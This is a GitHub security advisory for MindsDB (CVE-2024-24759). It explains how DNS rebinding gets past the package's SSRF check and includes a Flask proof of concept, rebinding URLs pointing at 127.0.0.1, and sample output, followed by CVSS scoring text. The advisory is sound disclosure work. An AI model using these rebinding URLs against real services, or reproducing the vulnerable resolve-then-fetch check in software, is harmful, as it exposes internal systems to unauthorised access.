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MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding

High severity GitHub Reviewed Published Sep 5, 2024 in mindsdb/mindsdb • Updated Nov 18, 2024

Package

pip mindsdb (pip)

Affected versions

< 23.12.4.2

Patched versions

23.12.4.2

Description

Summary

DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:

def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    return ipaddress.ip_address(ip).is_private

As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.

PoC

from flask import Flask, request, jsonify
from urllib.parse import urlparse
import socket
import ipaddress
import requests

app = Flask(__name__)


def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    if ipaddress.ip_address(ip).is_private:
        raise Exception(f"Private IP address found for {url}")


@app.route("/", methods=["GET"])
def index():
    return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"


@app.route("/check_private_url", methods=["GET"])
def check_private_url():
    url = request.args.get("url")

    if not url:
        return jsonify({"error": 'Missing "url" parameter'}), 400

    try:
        is_private_url(url)
        response = requests.get(url)

        return jsonify(
            {
                "url": url,
                "is_private": False,
                "text": response.text,
                "status_code": response.status_code,
            }
        )
    except Exception as e:
        return jsonify({"url": url, "is_private": True, "error": str(e)})


if __name__ == "__main__":
    app.run(debug=True)

After running the poc.py with flask installed, consider visiting the following URLs:

  1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get is_private: false and the GET request would be issued to the www.Example.com website.
  2. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get is_private: true
  3. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.

I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:

{
  "is_private": false,
  "status_code": 200,
  "text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n",
  "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/"
}

Impact

  • Bypass the SSRF protection on the whole website with DNS Rebinding.
  • DoS too.

References

@ZoranPandovski ZoranPandovski published to mindsdb/mindsdb Sep 5, 2024
Published to the GitHub Advisory Database Sep 5, 2024
Reviewed Sep 5, 2024
Published by the National Vulnerability Database Sep 5, 2024
Last updated Nov 18, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability Low

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:L

EPSS score

0.084%
(37th percentile)

Weaknesses

CVE ID

CVE-2024-24759

GHSA ID

GHSA-4jcv-vp96-94xr

Source code

Credits

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